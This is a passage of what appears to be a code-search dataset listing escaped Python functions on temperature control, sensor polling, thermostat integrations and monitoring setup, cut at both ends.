__set_temperatures(self):\\n\\t\\twhile True:\\n\\t\\t\\ttemp = self.__get_correct_input()\\n\\t\\t\\tif temp != self.__QUIT_COMMAND:\\n\\t\\t\\t\\tself.__total += temp\\n\\t\\t\\t\\tself.__steps += 1\\n\\t\\t\\t\\tif temp > self.__highest:\\n\\t\\t\\t\\t\\tself.__highest = temp\\n\\t\\t\\t\\tif temp < self.__lowest:\\n\\t\\t\\t\\t\\tself.__lowest = temp\\n\\t\\t\\t\\tif temp < self.__LOW_TEMPERATURE_ALARM:\\n\\t\\t\\t\\t\\tself.__cold_days += 1\\n\\t\\t\\telse:\\n\\t\\t\\t\\tself.__print_ans()\\n\\t\\t\\t\\tbreak\",\n \"def test_temperature_to_metric(self):\\n self.assertEqual(\\n 25,\\n METRIC_SYSTEM.temperature(25, METRIC_SYSTEM.temperature_unit))\\n self.assertEqual(\\n 26.7,\\n METRIC_SYSTEM.temperature(80, IMPERIAL_SYSTEM.temperature_unit))\",\n \"def set_temperature(self, temperature):\\n pass\",\n \"def installMonitoring():\\n for name,data in Online.SetupParams.detectors.items():\\n s = data['System']\\n c = Online.PVSSSystems.controlsMgr(s)\\n inst = Installer(c)\\n streams = data['MonStreams']\\n inst.createMonitoring(name,streams)\\n return c\",\n \"def simulate_temperature(self, temp):\\n self._inside._mcp = CurrentTemperatureLibrary.SimAdc(self._inside, temp)\",\n \"def __initializeMonitor( self ):\\n if self.__moduleProperties[ 'standalone' ]:\\n self.monitor = gMonitor\\n else:\\n self.monitor = MonitoringClient()\\n self.monitor.setComponentType( self.monitor.COMPONENT_AGENT )\\n self.monitor.setComponentName( self.__moduleProperties[ 'fullName' ] )\\n self.monitor.initialize()\\n self.monitor.registerActivity( 'CPU', \\\"CPU Usage\\\", 'Framework', \\\"CPU,%\\\", self.monitor.OP_MEAN, 600 )\\n self.monitor.registerActivity( 'MEM', \\\"Memory Usage\\\", 'Framework', 'Memory,MB', self.monitor.OP_MEAN, 600 )\\n # Component monitor\\n for field in ( 'version', 'DIRACVersion', 'description', 'platform' ):\\n self.monitor.setComponentExtraParam( field, self.__codeProperties[ field ] )\\n self.monitor.setComponentExtraParam( 'startTime', Time.dateTime() )\\n self.monitor.setComponentExtraParam( 'cycles', 0 )\\n self.monitor.disable()\\n self.__monitorLastStatsUpdate = time.time()\",\n \"def create_model(self) -> None:\\n self._model = create_model_with_temperature_scaling(self.config)\",\n \"def __init__(self, temperature=298.0 * simtk.unit.kelvin, sigma=0.1 * simtk.unit.angstroms, timestep=1 * simtk.unit.femtoseconds):\\n\\n # Create a new Custom integrator.\\n super(MetropolisMonteCarloIntegrator, self).__init__(timestep)\\n\\n # Compute the thermal energy.\\n kT = kB * temperature\\n\\n #\\n # Integrator initialization.\\n #\\n self.addGlobalVariable(\\\"naccept\\\", 0) # number accepted\\n self.addGlobalVariable(\\\"ntrials\\\", 0) # number of Metropolization trials\\n\\n self.addGlobalVariable(\\\"kT\\\", kT) # thermal energy\\n self.addPerDofVariable(\\\"sigma_x\\\", sigma) # perturbation size\\n self.addPerDofVariable(\\\"sigma_v\\\", 0) # velocity distribution stddev for Maxwell-Boltzmann (set later)\\n self.addPerDofVariable(\\\"xold\\\", 0) # old positions\\n self.addGlobalVariable(\\\"Eold\\\", 0) # old energy\\n self.addGlobalVariable(\\\"Enew\\\", 0) # new energy\\n self.addGlobalVariable(\\\"accept\\\", 0) # accept or reject\\n\\n #\\n # Context state update.\\n #\\n self.addUpdateContextState()\\n\\n #\\n # Update velocities from Maxwell-Boltzmann distribution.\\n #\\n self.addComputePerDof(\\\"sigma_v\\\", \\\"sqrt(kT/m)\\\")\\n self.addComputePerDof(\\\"v\\\", \\\"sigma_v*gaussian\\\")\\n self.addConstrainVelocities()\\n\\n #\\n # propagation steps\\n #\\n # Store old positions and energy.\\n self.addComputePerDof(\\\"xold\\\", \\\"x\\\")\\n self.addComputeGlobal(\\\"Eold\\\", \\\"energy\\\")\\n # Gaussian particle displacements.\\n self.addComputePerDof(\\\"x\\\", \\\"x + sigma_x*gaussian\\\")\\n # Accept or reject with Metropolis criteria.\\n self.addComputeGlobal(\\\"accept\\\", \\\"step(exp(-(energy-Eold)/kT) - uniform)\\\")\\n self.addComputePerDof(\\\"x\\\", \\\"(1-accept)*xold + x*accept\\\")\\n # Accumulate acceptance statistics.\\n self.addComputeGlobal(\\\"naccept\\\", \\\"naccept + accept\\\")\\n self.addComputeGlobal(\\\"ntrials\\\", \\\"ntrials + 1\\\")\",\n \"def set_temperature(self):\\n self.temperature = self.gui.doubleSpinBox_temperature.value()\\n self.logger.debug('Changing the temperature to {}K'.format(self.temperature))\\n\\n self.anc350_instrument.temperature = self.temperature\\n self.anc350_instrument.set_temperature_limits()\\n\\n self.max_dclevel_V = self.anc350_instrument.max_dC_level\\n\\n self.logger.debug('Changed the scanner piezo limits to {}'.format(self.max_dclevel_V))\",\n \"async def _handle_temperature(\\n self, msg: uavcan.si.sample.temperature.Scalar_1_0, metadata: pyuavcan.transport.TransferFrom\\n ) -> None:\\n print(\\\"TEMPERATURE\\\", msg.kelvin - 273.15, \\\"C\\\")\\n\\n # Publish the message synchronously, using await, blocking this task until the message is pushed down to\\n # the media layer.\\n if not await self._pub_diagnostic_record.publish(\\n uavcan.diagnostic.Record_1_1(\\n severity=uavcan.diagnostic.Severity_1_0(uavcan.diagnostic.Severity_1_0.TRACE),\\n text=f\\\"Temperature {msg.kelvin:0.3f} K from {metadata.source_node_id} \\\"\\n f\\\"time={metadata.timestamp.system} tid={metadata.transfer_id} prio={metadata.priority}\\\",\\n )\\n ):\\n print(\\n f\\\"Diagnostic publication timed out in {self._pub_diagnostic_record.send_timeout} seconds\\\",\\n file=sys.stderr,\\n )\",\n \"def set_temperature(self, **kwargs: Any) -> None:\\n if kwargs.get(ATTR_TEMPERATURE) is not None:\\n self.vera_device.set_temperature(kwargs.get(ATTR_TEMPERATURE))\\n\\n self.schedule_update_ha_state()\",\n \"def main():\\n logging.basicConfig(format='[%(asctime)s] %(levelname)s %(message)s', level=logging.INFO)\\n logging.info('** GillenWx Weather Station System Starting **')\\n start_time = time.time()\\n \\n def signal_handler(*args):\\n \\\"\\\"\\\" handles shutting down via signals \\\"\\\"\\\"\\n if station:\\n station.shutdown()\\n\\n try:\\n signal(SIGTERM, signal_handler)\\n signal(SIGHUP, signal_handler)\\n\\n\\n station = WeatherStation() \\n if not station.check_initialized():\\n logging.error('Initialization failed. Exiting...')\\n else:\\n result = station.test_sensors()\\n if result:\\n station.run_loop()\\n else:\\n logging.error('Sensor tests failed. Exiting...')\\n\\n except KeyboardInterrupt:\\n logging.info('Shutdown requested. Cleaning up...')\\n station.shutdown()\\n\\n logging.info(\\\"Script Finished\\\")\\n logging.info(\\\"Elapsed Time: %s seconds \\\", (time.time() - start_time))\",\n \"def temperature(self, temperature: SmartSsdTemperature):\\n\\n self._temperature = temperature\",\n \"def get_tecogan_monitors(monitor):\\n monitor_vgg_loss = MonitorSeries(\\n 'vgg loss', monitor, interval=20)\\n monitor_pp_loss = MonitorSeries(\\n 'ping pong', monitor, interval=20)\\n monitor_sum_layer_loss = MonitorSeries(\\n 'd layer loss', monitor, interval=20)\\n monitor_adv_loss = MonitorSeries(\\n 'adversarial loss', monitor, interval=20)\\n monitor_disc_loss = MonitorSeries(\\n 'discriminator loss', monitor, interval=20)\\n monitor_tb = MonitorSeries(\\n 'tb', monitor, interval=20)\\n Monitor_tecogan = collections.namedtuple('Monitor_tecogan',\\n ['monitor_vgg_loss', 'monitor_pp_loss', 'monitor_sum_layer_loss',\\n 'monitor_adv_loss', 'monitor_disc_loss', 'monitor_tb'])\\n return Monitor_tecogan(monitor_vgg_loss, monitor_pp_loss, monitor_sum_layer_loss, monitor_adv_loss, monitor_disc_loss, monitor_tb)\",\n \"def get_temperature(self):\\n # Fake a random temperature change\\n temperature = random.randint(20, 25)\\n self.set_temperature(temperature)\",\n \"def give_temperature(self, value):\\n self.temperature = value\",\n \"def initialize_monitoring(monitor_name: str = LOG_NAME,\\n logging_level=logging.INFO) -> logging.Logger:\\n\\n root_dir = os.path.abspath(os.path.dirname(__file__))\\n date_postfix = datetime.today().strftime('%Y-%m-%d')\\n file_name = f\\\"{root_dir}/{MONITORING_PATH}/{monitor_name}_{date_postfix}.log\\\"\\n\\n stream_handler = logging.StreamHandler()\\n\\n file_handler = logging.FileHandler(filename=file_name, mode='w+')\\n\\n logging.basicConfig(format=\\\"%(asctime)s %(message)s\\\",\\n datefmt=\\\"%m/%d/%Y %I:%M:%S %p\\\",\\n level=logging_level,\\n handlers=[stream_handler, file_handler])\\n\\n monitor = logging.getLogger(name=monitor_name)\\n return monitor\",\n \"def set_temperature(self, temperature):\\n self.Temp = temperature\",\n \"def settemp(t=-10):\\n print camera.SetTemperature(t)\\n camera.status.update()\",\n \"def main():\\n # Initialize variables.\\n global sensor\\n global identified\\n global finished\\n\\n upload_data_deadline = time.time()\\n was_btn_pressed = is_button_pressed()\\n upload_immediately = False\\n\\n print(\\\" +---------------------------------------+\\\")\\n print(\\\" | End-to-End IoT Tank Monitoring Sample |\\\")\\n print(\\\" +---------------------------------------+\\\\n\\\")\\n\\n # Instantiate the HDC1080 peripheral.\\n try:\\n sensor = HDC1080(I2C(1))\\n except AssertionError:\\n pass\\n\\n # Configure the Bluetooth advertisement.\\n config_advertisement()\\n\\n # Register relay callback to handle incoming relay packets.\\n relay.callback(relay_frame_callback)\\n\\n # Set the LED pin initial value to off (0).\\n led_pin.off()\\n\\n # Wait until the device is connected to DRM.\\n wait_drm_connection()\\n\\n # Start the main application loop.\\n while True:\\n # Sleep 100 ms.\\n time.sleep_ms(100)\\n\\n # Check if the button was pressed.\\n button_pressed = is_button_pressed()\\n if not was_btn_pressed and button_pressed:\\n toggle_valve()\\n upload_immediately = True\\n was_btn_pressed = button_pressed\\n\\n # Blink identification LED if necessary.\\n if identified:\\n if finished:\\n identified = False\\n finished = False\\n else:\\n led_pin.value(not led_pin.value())\\n\\n # Check if there is any DRM request to process.\\n request = cloud.device_request_receive()\\n upload_immediately |= process_drm_request(request)\\n\\n # Upload sensor values to DRM.\\n if time.time() >= upload_data_deadline or upload_immediately:\\n upload_sensor_data()\\n upload_data_deadline = time.time() + DEFAULT_REPORT_INTERVAL\\n upload_immediately = False\",\n \"def set_temperature(self, **kwargs):\\n temp = kwargs.get(ATTR_TEMPERATURE)\\n if temp is None:\\n return\\n self._data.homestatus.setroomThermpoint(\\n self._data.home_id, self._room_id, STATE_NETATMO_MANUAL, temp\\n )\\n\\n self.update_without_throttle = True\\n self.schedule_update_ha_state()\",\n \"def test_create_healthmonitor_with_mandatory_params(self):\\r\\n resource = 'health_monitor'\\r\\n cmd = healthmonitor.CreateHealthMonitor(test_cli20.MyApp(sys.stdout),\\r\\n None)\\r\\n admin_state_up = False\\r\\n delay = '60'\\r\\n max_retries = '2'\\r\\n timeout = '10'\\r\\n type = 'TCP'\\r\\n tenant_id = 'my-tenant'\\r\\n my_id = 'my-id'\\r\\n args = ['--admin-state-down',\\r\\n '--delay', delay,\\r\\n '--max-retries', max_retries,\\r\\n '--timeout', timeout,\\r\\n '--type', type,\\r\\n '--tenant-id', tenant_id]\\r\\n position_names = ['admin_state_up', 'delay', 'max_retries', 'timeout',\\r\\n 'type', 'tenant_id']\\r\\n position_values = [admin_state_up, delay, max_retries, timeout, type,\\r\\n tenant_id]\\r\\n self._test_create_resource(resource, cmd, '', my_id, args,\\r\\n position_names, position_values)\",\n \"def getTemperatureMeasurements(self):\\n # self.board.readline()\\n self.stop = False\\n times = []\\n temps = [[], [], []]\\n \\n # A synchronisation string containing the characters tx is sent before each set of measurements,\\n # we ensure correct reading of the measurements by waiting for this string\\n while str(self.board.readline()).strip('b\\\\'\\\\\\\\rn') != 'tx':\\n pass\\n \\n while not self.stop:\\n # A synchronisation string containing the characters tx is sent before each set of measurements\\n tx = self.board.readline()\\n if str(tx).strip('b\\\\'\\\\\\\\rn') == 'tx':\\n rawData1 = self.board.readline()\\n rawData2 = self.board.readline()\\n rawData3 = self.board.readline()\\n rawData4 = self.board.readline()\\n \\n \\n timeStamp = str(rawData1).strip('b\\\\'\\\\\\\\rn')\\n temp1 = str(rawData2).strip('b\\\\'\\\\\\\\rn')\\n temp2 = str(rawData3).strip('b\\\\'\\\\\\\\rn')\\n temp3 = str(rawData4).strip('b\\\\'\\\\\\\\rn')\\n try:\\n times.append(float(timeStamp) / 1000)\\n temps[0].append(float(temp1) / 128)\\n temps[1].append(float(temp2) / 128)\\n temps[2].append(float(temp3) / 128)\\n # print(f'\\\\rtime: {float(timeStamp) / 1000:.2f} s, Temperature measured on sensor 1: {float(temp1) / 128:.2f} °C,'\\n # f'sensor 2: {float(temp2) / 128:.2f} °C, sensor 3: {float(temp3) / 128:.2f} °C', sep='', end='', flush=True)\\n except:\\n print(rawData1, rawData2, rawData3, rawData4)\\n \\n \\n if self.stop:\\n print('\\\\nMeasurement finished...')\\n \\n self.data_stack[self.fetch_kinds[0]] = times\\n self.data_stack[self.fetch_kinds[1]] = temps[0]\\n self.data_stack[self.fetch_kinds[2]] = temps[1]\\n self.data_stack[self.fetch_kinds[3]] = temps[2]\\n \\n if (len(self.data_stack['Sensor 1 Temp']) != len(times) or len(self.data_stack['Sensor 2 Temp']) != len(times) or len(self.data_stack['Sensor 3 Temp']) != len(times)):\\n print(\\\"Warning: There may be some missing values!\\\")\",\n \"def set_temperature(self, temperature):\\n self.temperature = temperature\",\n \"def __init__(self, config, sensor=None):\\n if sensor is None:\\n from monitor.sensor import SensorDriver\\n self.sensor = SensorDriver(config.getint(CONFIG_SECTION, \\\"trigger_pin\\\"),\\n config.getint(CONFIG_SECTION, \\\"echo_pin\\\"))\\n else:\\n self.sensor = sensor\\n self.num_samples = config.getint(CONFIG_SECTION, \\\"num_samples\\\")\\n self.drop_extremes = config.getboolean(CONFIG_SECTION, \\\"drop_extremes\\\")\\n self.sample_delay = config.getfloat(CONFIG_SECTION, \\\"sample_delay\\\")\\n self.is_running = False\\n self.dist_to_bottom = config.getfloat(CONFIG_SECTION, \\\"distance_to_bottom\\\")\",\n \"def test_sensor_temperature(self):\\n with patch.dict(TYPES, {'TemperatureSensor': self.mock_type}):\\n state = State('sensor.temperature', '23',\\n {ATTR_DEVICE_CLASS: 'temperature'})\\n get_accessory(None, state, 2, {})\",\n \"async def async_set_temperature(self, **kwargs: Any) -> None:\\n temp: float = kwargs[ATTR_TEMPERATURE]\\n await self._thermostat.manual(temp)\\n await self.coordinator.async_request_refresh()\",\n \"def poll_all_sensors(self):\\n # Read input pin state of the monitor MCPs\\n mcp_mon_0 = self.mcp_temp_mon[0].input_pins([0, 1, 2, 3, 4, 5, 7])\\n mcp_mon_1 = self.mcp_temp_mon[1].input_pins(self.ALL_PINS)\\n mcp_mon_2 = self.mcp_temp_mon[2].input_pins(self.ALL_PINS)\\n mcp_mon_3 = self.mcp_temp_mon[3].input_pins([0, 1, 2, 3, 4, 5])\\n\\n # Read input pin state of the misc MPCs\\n mcp_misc_0 = self.mcp_misc[0].input_pins([2, 3, 4, 5, 6, 7])\\n mcp_misc_1 = self.mcp_misc[1].input_pins([0, 1, 2, 3])\\n mcp_misc_2 = self.mcp_misc[2].input_pins([1, 2, 4, 5, 6, 7])\\n mcp_misc_3 = self.mcp_misc[3].input_pins([0, 1, 2, 3, 4])\\n\\n # Read, convert and store all temperature values and setpoints from the ADCs and\\n # extract and store all trip, trace and disabled states from the MCPs\\n\\n for i in range(4):\\n self.__temperature_disabled[i + 4] = mcp_mon_0[i]\\n\\n self.__temperature_disabled[10] = mcp_mon_0[4]\\n\\n for i in range(8):\\n self.__temperature_set_points_raw[i] = self.adc_temp_mon[0].read_input_scaled(i)\\n self.__temperature_set_points[i] = self.convert_ad7998_temp(\\n self.__temperature_set_points_raw[i]\\n )\\n self.__temperature_values_raw[i] = self.adc_temp_mon[1].read_input_scaled(i)\\n if not self.__temperature_disabled[i]:\\n self.__temperature_values[i] = self.convert_ad7998_temp(\\n self.__temperature_values_raw[i]\\n )\\n self.__temperature_trips[i] = not bool(mcp_mon_1[i])\\n self.__temperature_traces[i] = bool(mcp_mon_2[i])\\n\\n for i in range(3):\\n self.__temperature_values_raw[i + 8] = self.adc_temp_mon[2].read_input_scaled(i)\\n if not self.__temperature_disabled[i + 8]:\\n self.__temperature_values[i + 8] = self.convert_ad7998_temp(\\n self.__temperature_values_raw[i + 8]\\n )\\n self.__temperature_set_points_raw[i + 8] = self.adc_temp_mon[2].read_input_scaled(i+4)\\n self.__temperature_set_points[i + 8] = self.convert_ad7998_temp(\\n self.__temperature_set_points_raw[i + 8]\\n )\\n self.__temperature_trips[i + 8] = not bool(mcp_mon_3[i])\\n self.__temperature_traces[i + 8] = bool(mcp_mon_3[i+3])\\n\\n # Read, convert and store all humidity values and setpoints from the ADCs and\\n # extract and store all trip, trace and disabled states from the MCPs\\n\\n self.__humidity_disabled[1] = mcp_mon_0[5]\\n\\n for i in range(self.num_humidities):\\n\\n self.__humidity_set_points_raw[i] = self.adc_misc[0].read_input_scaled(i+1)\\n self.__humidity_set_points[i] = self.convert_ad7998_humidity(\\n self.__humidity_set_points_raw[i]\\n )\\n self.__humidity_values_raw[i] = self.adc_misc[1].read_input_scaled(i+1)\\n if not self.__humidity_disabled[i]:\\n self.__humidity_values[i] = self.convert_ad7998_humidity(\\n self.__humidity_values_raw[i]\\n )\\n\\n self.__humidity_trips[i] = not bool(mcp_misc_1[i+1])\\n self.__humidity_traces[i] = bool(mcp_misc_2[i])\\n\\n # Read, convert and store fan speed and setpoint ADC values and extract and store\\n # the fan trip status\\n self.__fan_speed_raw = self.adc_misc[1].read_input_scaled(0)\\n self.__fan_speed = self.convert_ad7998_fan(self.__fan_speed_raw)\\n self.__fan_set_point_raw = self.adc_misc[0].read_input_scaled(0)\\n self.__fan_set_point = self.convert_ad7998_fan(self.__fan_set_point_raw)\\n self.__fan_trip = not bool(mcp_misc_1[0])\\n\\n # Read, convert and store pump flow speed and setpoint ADC values and extract and store\\n # the pump trip status\\n self.__pump_flow_raw = self.adc_misc[1].read_input_scaled(3)\\n self.__pump_flow = self.convert_ad7998_pump(self.__pump_flow_raw)\\n self.__pump_set_point_raw = self.adc_misc[0].read_input_scaled(3)\\n self.__pump_set_point = self.convert_ad7998_pump(self.__pump_set_point_raw)\\n self.__pump_trip = not bool(mcp_misc_1[3])\\n\\n # Read, convert and save the detector position\\n self.__position_raw = self.adc_misc[1].read_input_scaled(4)\\n self.__position = self.convert_ad7998_position(self.__position_raw)\\n\\n # Extract and save global armed and health states\\n self.__armed = bool(mcp_misc_0[0])\\n self.__healthy = bool(mcp_misc_0[5])\\n\\n # Extract and save the quad trace states\\n for i in range(2, 6):\\n self.__quad_traces[i - 2] = bool(mcp_misc_2[i])\\n\\n # Extract and save the global sensor channel states\\n self.__sensor_states[0] = mcp_mon_0[6]\\n for i in range(1, 5):\\n self.__sensor_states[i] = bool(mcp_misc_0[i])\\n\\n # Extract and save the global latch states\\n self.__latched_states = [bool(i) for i in mcp_misc_3]\\n\\n # Update internal all_enabled state based on current armed state since being disarmed\\n # automatically turns off all quad outputs\\n if not self.__armed:\\n self.__all_enabled = False\\n\\n # Poll sensors for all quads also\\n for quad in self.quad:\\n quad.poll_all_sensors()\",\n \"def set_temperature(self, **kwargs):\\n if self._on:\\n if kwargs.get(ATTR_TEMPERATURE) is not None:\\n self._target_temperature = kwargs.get(ATTR_TEMPERATURE)\\n hub.session.set_heat_pump_target_temperature(\\n self.heatpump_id, self._target_temperature)\\n self.schedule_update_ha_state()\",\n \"def _start_monitor(instance=\\\"default\\\"):\\n global logger_ic\\n logger_ic = infrasim_log.get_logger(LoggerType.ipmi_console.value, instance)\\n logger_ic.info(\\\"ipmi-console monitor thread starts to run.\\\")\\n monitor_thread = threading.Thread(target=monitor, args=(instance,))\\n monitor_thread.setDaemon(True)\\n monitor_thread.start()\",\n \"def __init__(self):\\n # set vars\\n self.__deamon = True\\n _tacho_pin = 'GPIO_PZ0'\\n self._pow_pin = 'CAM_AF_EN'\\n self._mist_pin = 'SPI2_MOSI'\\n _pwm_pin = 'LCD_BL_PW'\\n self._pwm_obj = None\\n self._pump_pin = 'DAP4_DIN'\\n self._sens_level_mist = 'UART2_CTS'\\n self._sens_level_tank = 'DAP4_FS'\\n self._sleep_pin = 'SPI2_SCK'\\n self.__pow = 0\\n self.__hum = 0\\n self.__hum_temp = 100\\n self.__sens_temp = 100\\n self.__t = time.time()\\n self.__rpm = 0\\n\\n # init everything\\n GPIO.setmode(GPIO.TEGRA_SOC)\\n GPIO.setup(self._pow_pin, GPIO.OUT)\\n GPIO.setup(self._mist_pin, GPIO.OUT)\\n GPIO.setup(self._pump_pin, GPIO.OUT)\\n GPIO.setup(_tacho_pin, GPIO.IN)\\n GPIO.setup(self._sens_level_mist, GPIO.IN)\\n GPIO.setup(self._sens_level_tank, GPIO.IN)\\n GPIO.setup(self._sleep_pin, GPIO.IN)\\n GPIO.add_event_detect(_tacho_pin, GPIO.FALLING, self.__fan_int)\\n GPIO.add_event_detect(self._sens_level_tank,\\n GPIO.BOTH, self.__tank)\\n GPIO.add_event_detect(self._sleep_pin, GPIO.FALLING, self.__Sleep)\\n self._tah = temps.Temp()\\n self._led = LED()\\n self.kit = ServoKit(channels=16)\\n self.kit.servo[7].actuation_range = 180\\n self.kit.servo[8].actuation_range = 20\\n self._pwm_obj = GPIO.PWM(_pwm_pin, 1000)\\n self.__mist_thread = threading.Thread(target=self.__mist_deamon)\\n self.__pow_thread = threading.Thread(target=self.__pow_deamon)\\n self.__pump_thread = threading.Thread(target=self.__pump_deamon)\\n self.__mist_thread.start()\\n self.__pow_thread.start()\\n self.__pump_thread.start()\\n self._pwm_obj.start(0)\\n self._led.reset_error()\",\n \"def test_first_ten_minutes_are_ignored():\\n m = monitor.Monitor(warmup_interval_s=60)\\n t = datetime(2010, 1, 1, 0, 0)\\n m.set_outside_temperature(10, t)\\n assert m.temperature_update(20, t) == None\\n m.boiler_on(t)\\n assert m.temperature_update(21, t + timedelta(seconds=120)) == None\\n assert m.temperature_update(23, t + timedelta(seconds=1320)) == (11, 6.0)\",\n \"def create_system_metrics(system):\\n pass\",\n \"async def async_set_temperature(self, **kwargs: Any) -> None:\\n changed = await self._set_climate_attribute(\\n kwargs.get(ATTR_TEMPERATURE),\\n CONF_TEMP_COMMAND_TOPIC,\\n CONF_TEMP_COMMAND_TEMPLATE,\\n CONF_TEMP_STATE_TOPIC,\\n \\\"_attr_target_temperature\\\",\\n )\\n\\n changed |= await self._set_climate_attribute(\\n kwargs.get(ATTR_TARGET_TEMP_LOW),\\n CONF_TEMP_LOW_COMMAND_TOPIC,\\n CONF_TEMP_LOW_COMMAND_TEMPLATE,\\n CONF_TEMP_LOW_STATE_TOPIC,\\n \\\"_attr_target_temperature_low\\\",\\n )\\n\\n changed |= await self._set_climate_attribute(\\n kwargs.get(ATTR_TARGET_TEMP_HIGH),\\n CONF_TEMP_HIGH_COMMAND_TOPIC,\\n CONF_TEMP_HIGH_COMMAND_TEMPLATE,\\n CONF_TEMP_HIGH_STATE_TOPIC,\\n \\\"_attr_target_temperature_high\\\",\\n )\\n\\n if not changed:\\n return\\n self.async_write_ha_state()\",\n \"def __init__ (self, name=\\\"TrigEFMissingETOnlineMonitoring\\\"):\\n super(TrigEFMissingETOnlineMonitoring, self).__init__(name)\\n self.defineTarget(\\\"Online\\\")\\n # measurement\\n self.Histograms = [ hEx_log, hEy_log, hEz_log, hMET_log, hSumEt_log ]\\n self.Histograms += [ hMET_lin, hSumEt_lin ]\\n self.Histograms += [ hXS, hMETPhi, hMETStatus]\\n self.Histograms += [ hCompEx, hCompEy, hCompEz, hCompEt, hCompSumEt, hCompSumE ]\\n self.Histograms += [ hCompEt_lin, hCompSumEt_lin ]\\n # timers\\n# self.Histograms += [ hTotalTime, hTotalTimeRegSel, hTotalTimeLoadCol, hTotalTimeLoop ]\\n self.Histograms += [ hTotalTimeRegSel, hTotalTimeLoadCol, hTotalTimeLoop ]\\n self.Histograms += [ hTotalTimeEM, hTotalTimeHEC, hTotalTimeTile ]\",\n \"def do_temp(self, args):\\n\\n new_temperature = float(input(\\\"New temperature?\\\"))\\n self.model.set_temperature(new_temperature)\",\n \"async def async_get_temperature(self):\\n if self.token is None:\\n await self.async_initialize_token()\\n\\n self.temperature = None\\n raw = await self._async_ws_get_function(CMD_TEMPERATURE)\\n\\n f_to_c = lambda f: (5.0 / 9) * (f - 32)\\n try:\\n xml_root = element_tree.fromstring(raw)\\n self.temperature = Temperature(\\n tunerTemperature=f_to_c(int(xml_root.find(\\\"TunnerTemperature\\\").text)),\\n temperature=f_to_c(int(xml_root.find(\\\"Temperature\\\").text)),\\n )\\n except (element_tree.ParseError, TypeError):\\n _LOGGER.warning(\\\"Can't read temperature from %s\\\", self.host)\\n self.token = None\\n raise exceptions.ConnectBoxNoDataAvailable() from None\",\n \"def heat(update: Update, context: CallbackContext) -> None:\\n if __login.is_user_logged_in():\\n if __sauna.control.getPortValue(\\\"Mains Sensor\\\") == 1:\\n\\n if __sauna.control.getPortValue(\\\"Power Sensor\\\") == 0:\\n __sauna.control.togglePortValue(\\\"Power Switch\\\")\\n\\n if __sauna.control.getPortValue(\\\"Light Sensor\\\") == 0:\\n __sauna.control.togglePortValue(\\\"Light Switch\\\")\\n\\n if __sauna.control.is_below_lower_limit(\\\"Temperature Sensor\\\"):\\n if __sauna.control.getPortValue(\\\"Oven Sensor\\\") == 0:\\n __sauna.control.togglePortValue(\\\"Oven Switch\\\")\\n update.message.reply_text('Starting to heat.')\\n else:\\n update.message.reply_text('Main power is switched off. Needs to be set manually.')\\n else:\\n update.message.reply_text(\\\"You are not logged in. Log in!!\\\")\",\n \"def test_take_temperature_readings0001(self, platform):\\n\\n temps = platform.take_temperature_readings()\\n assert type(temps) is dict\\n assert all([x.startswith(\\\"hw.sensors.\\\") for x in temps.iterkeys()])\\n # check temperature readings are within reasonable parameters\\n assert all([type(v) == float for v in temps.itervalues()])\\n assert all([10 <= v <= 120 for v in temps.itervalues()])\",\n \"async def _start_service_monitor(cls):\\n cls.service_monitor = Monitor()\\n await cls.service_monitor.start()\",\n \"async def async_set_temperature(self, **kwargs: Any) -> None:\\n target_temperature = (\\n float(kwargs[ATTR_TEMPERATURE]) - self._offset\\n ) / self._scale\\n if self._data_type in (\\n DataType.INT16,\\n DataType.INT32,\\n DataType.INT64,\\n DataType.UINT16,\\n DataType.UINT32,\\n DataType.UINT64,\\n ):\\n target_temperature = int(target_temperature)\\n as_bytes = struct.pack(self._structure, target_temperature)\\n raw_regs = [\\n int.from_bytes(as_bytes[i : i + 2], \\\"big\\\")\\n for i in range(0, len(as_bytes), 2)\\n ]\\n registers = self._swap_registers(raw_regs, 0)\\n\\n if self._data_type in (\\n DataType.INT16,\\n DataType.UINT16,\\n ):\\n if self._target_temperature_write_registers:\\n result = await self._hub.async_pb_call(\\n self._slave,\\n self._target_temperature_register,\\n [int(float(registers[0]))],\\n CALL_TYPE_WRITE_REGISTERS,\\n )\\n else:\\n result = await self._hub.async_pb_call(\\n self._slave,\\n self._target_temperature_register,\\n int(float(registers[0])),\\n CALL_TYPE_WRITE_REGISTER,\\n )\\n else:\\n result = await self._hub.async_pb_call(\\n self._slave,\\n self._target_temperature_register,\\n [int(float(i)) for i in registers],\\n CALL_TYPE_WRITE_REGISTERS,\\n )\\n self._attr_available = result is not None\\n await self.async_update()\",\n \"def emergency_heating_control():\\n temp_room_1 = room1_temp()\\n temp_room_2 = room2_temp() \\n if temp_room_1 > 30: # Turn off lights to control temp\\n if len(initial_time('emergency_temp_room1_timestamp.txt')) == 0:\\n time_write_to_file('emergency_temp_room1_timestamp.txt', 'w')\\n else:\\n if mins_since_event('emergency_temp_room1_timestamp.txt') > 5:\\n light_room1(False) # Temp been over 30 for 5mins turn off light \\n \\n elif temp_room_2 > 30: # Turn off lights to control temp \\n if len(initial_time('emergency_temp_room2_timestamp.txt')) == 0:\\n time_write_to_file('emergency_temp_room2_timestamp.txt', 'w')\\n else:\\n if mins_since_event('emergency_temp_room2_timestamp.txt') > 5:\\n light_room2(False) # Temp been over 30 for 5mins turn off light\\n \\n elif temp_room_1 <= 30:\\n check_lighting_state_room1()\\n remove_timestamp('emergency_temp_room1_timestamp.txt')\\n \\n elif temp_room_2 <= 30:\\n check_lighting_state_room2()\\n remove_timestamp('emergency_temp_room2_timestamp.txt')\",\n \"def set_temperature(self, temperature):\\n self.api.device_control(\\n self.obj_id, \\\"temperatureSet\\\", {\\\"value\\\": float(temperature)}\\n )\",\n \"def svc_put_zone_temp(\\n self, temperature: float, **kwargs\\n ) -> None: # set_current_temp\\n self._device.sensor._make_fake()\\n self._device.sensor.temperature = temperature\\n self._device._get_temp()\\n self.update_ha_state()\",\n \"def temperature(self):\\n return _cantera.reactor_temperature(self.__reactor_id)\",\n \"def run(self):\\n self.monitor.start()\",\n \"def __init__(self, heatpumpid):\\n import jsonpath\\n self.jsonpath = jsonpath.jsonpath\\n self._target_temperature = None\\n self._current_operation = None\\n self._current_fan_mode = None\\n self._current_swing_mode = None\\n self._on = None\\n self.heatpump_id = heatpumpid\\n self._support_flags = SUPPORT_TARGET_TEMPERATURE | SUPPORT_FAN_MODE |\\\\\\n SUPPORT_OPERATION_MODE | SUPPORT_ON_OFF | SUPPORT_SWING_MODE\\n self._unit_of_measurement = TEMP_CELSIUS\\n self._fan_list = ['Auto', 'Low', 'Medium_Low', 'Medium',\\n 'Medium_High', 'High']\\n self._operation_list = ['heat', 'cool', 'auto', 'dry', 'fan_only']\\n self._swing_list = ['Auto', '0_Degrees', '30_Degrees', '60_Degrees',\\n 